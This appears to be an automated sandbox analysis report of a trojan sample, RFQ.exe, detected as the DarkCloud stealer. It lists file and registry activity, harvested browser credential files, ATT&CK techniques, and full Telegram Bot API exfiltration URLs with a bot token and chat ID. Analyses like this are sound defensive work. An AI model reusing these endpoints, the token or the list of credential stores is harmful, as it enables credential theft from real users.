Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\BJZFPPWAPT.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\BJZFPPWAPT.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\BJZFPPWAPT.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\BJZFPPWAPT.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\DUUDTUBZFW.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\DUUDTUBZFW.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\DWTHNHNNJB.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\DWTHNHNNJB.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\DWTHNHNNJB.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\DWTHNHNNJB.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\GIGIYTFFYT.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\GIGIYTFFYT.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\GIGIYTFFYT.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\GIGIYTFFYT.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\GLTYDMDUST.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\GLTYDMDUST.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\GLTYDMDUST.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\GLTYDMDUST.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\GNLQNHOLWB.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\GNLQNHOLWB.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\GRXZDKKVDB.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\GRXZDKKVDB.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\HVLFEFMHHB.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\HVLFEFMHHB.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\PALRGUCVEH.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\PALRGUCVEH.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\PALRGUCVEH.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\PALRGUCVEH.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\SNIPGPPREP.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\SNIPGPPREP.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\SNIPGPPREP.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\SNIPGPPREP.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\ZGGKNSUKOP.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\ZGGKNSUKOP.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\RFQ.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\ZGGKNSUKOP.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Queries volume information: C:\Users\user\AppData\Roaming\wOPQRmK.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files.zip VolumeInformation
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\BJZFPPWAPT.docx VolumeInformation
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\BJZFPPWAPT.docx VolumeInformation
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\BJZFPPWAPT.xlsx VolumeInformation
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\DUUDTUBZFW.xlsx VolumeInformation
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\DWTHNHNNJB.pdf VolumeInformation
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\DWTHNHNNJB.pdf VolumeInformation
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\GRXZDKKVDB.docx VolumeInformation
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\HVLFEFMHHB.pdf VolumeInformation
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\ZGGKNSUKOP.xlsx VolumeInformation
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\user-PC-user\Files\ZGGKNSUKOP.xlsx VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\RFQ.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected DarkCloud

Source: Yara match	File source: 0.2.RFQ.exe.373cc58.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RFQ.exe.3714578.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RFQ.exe.36cac38.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RFQ.exe.373cc58.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RFQ.exe.36cac38.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RFQ.exe.3714578.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.2126948877.0000000000401000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.897305402.0000000003609000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RFQ.exe PID: 7040, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RFQ.exe PID: 2724, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Roaming\wOPQRmK.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data

Remote Access Functionality

Yara detected DarkCloud

Source: Yara match	File source: 0.2.RFQ.exe.373cc58.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RFQ.exe.3714578.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RFQ.exe.36cac38.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RFQ.exe.373cc58.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RFQ.exe.36cac38.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RFQ.exe.3714578.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.2126948877.0000000000401000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.897305402.0000000003609000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RFQ.exe PID: 7040, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RFQ.exe PID: 2724, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	221 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	1 OS Credential Dumping	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	112 Process Injection	2 Obfuscated Files or Information	LSASS Memory	33 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Scheduled Task/Job	12 Software Packing	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Timestomp	NTDS	231 Security Software Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Masquerading	Cached Domain Credentials	61 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	61 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	112 Process Injection	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
RFQ.exe	74%	Virustotal		Browse
RFQ.exe	76%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla
RFQ.exe	100%	Avira	TR/AD.Nekark.uuqcc

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\wOPQRmK.exe	100%	Avira	TR/AD.Nekark.uuqcc
C:\Users\user\AppData\Roaming\wOPQRmK.exe	76%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla

Source	Detection	Scanner	Label
http://ocsp.god	0%	Avira URL Cloud	safe
https://certs.goN	0%	Avira URL Cloud	safe
http://certificates.godaddy.cn	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
showip.net	162.55.60.2	true	false		high
api.telegram.org	149.154.167.220	true	false		high

Contacted URLs

Name	Malicious	Reputation
https://api.telegram.org/bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732456666&caption=DC-SC:::user-PC\user\8.46.123.189	false	high
https://api.telegram.org/bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732456666&caption=DC-KL:::user-PC\user\8.46.123.189	false	high
https://api.telegram.org/bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendMessage?chat_id=6732456666&text=BM6	false	high
https://api.telegram.org/bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732456666&caption=DC-FG:::user-PC\user\8.46.123.189	false	high
https://api.telegram.org/bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732456666&caption=DC-KeyDataWBeRYorH.txt:::user-PC\user\8.46.123.189	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.telegram.org/bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732	wOPQRmK.exe, 0000000D.00000002.2134088355.00000000045E3000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2129021812.00000000013D8000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2131523146.00000000040C0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.telegram.org/e	wOPQRmK.exe, 0000000D.00000002.2131523146.000000000416A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot	RFQ.exe, RFQ.exe, 00000007.00000002.2126948877.0000000000401000.00000040.00000400.00020000.00000000.sdmp	false		high
http://certificates.godaddy.com/repository/0	wOPQRmK.exe, 0000000D.00000002.2131523146.00000000041B0000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001454000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2131523146.0000000004119000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2134197652.00000000054E4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=	RFQ.exe, 00000007.00000002.2131302592.0000000003FAD000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001465000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2131523146.000000000416A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://certs.goN	wOPQRmK.exe, 0000000D.00000002.2134197652.00000000054E4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://certs.godaddy.com/repository/1301	wOPQRmK.exe, 0000000D.00000002.2131523146.00000000041B0000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001454000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2134197652.00000000054E4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.telegram.org/t	RFQ.exe, 00000007.00000002.2131302592.0000000003ED0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.godaddy.com/gdig2s1-19134.crl0	wOPQRmK.exe, 0000000D.00000002.2131523146.00000000041B0000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001454000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2131523146.0000000004119000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2134197652.00000000054E4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000F.00000003.1203168139.000001FC5D2F0000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.15.dr, edb.log.15.dr	false		high
http://crl.ver)	svchost.exe, 0000000F.00000002.2130656819.000001FC5D400000.00000004.00000020.00020000.00000000.sdmp	false		high
https://fundingchoicesmessages.google.com/i/pub-87901	wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001465000.00000004.00000020.00020000.00000000.sdmp	false		high
https://certs.godaddy.com/repository/0	wOPQRmK.exe, 0000000D.00000002.2131523146.00000000041B0000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2129021812.0000000001454000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2131523146.0000000004158000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2134197652.00000000054E4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://showip.net/	RFQ.exe, 00000007.00000002.2128472558.00000000010F5000.00000004.00000020.00020000.00000000.sdmp, wOPQRmK.exe, 0000000D.00000002.2129021812.00000000013D8000.00000004.00000020.00020000.00000000.sdmp	false		high
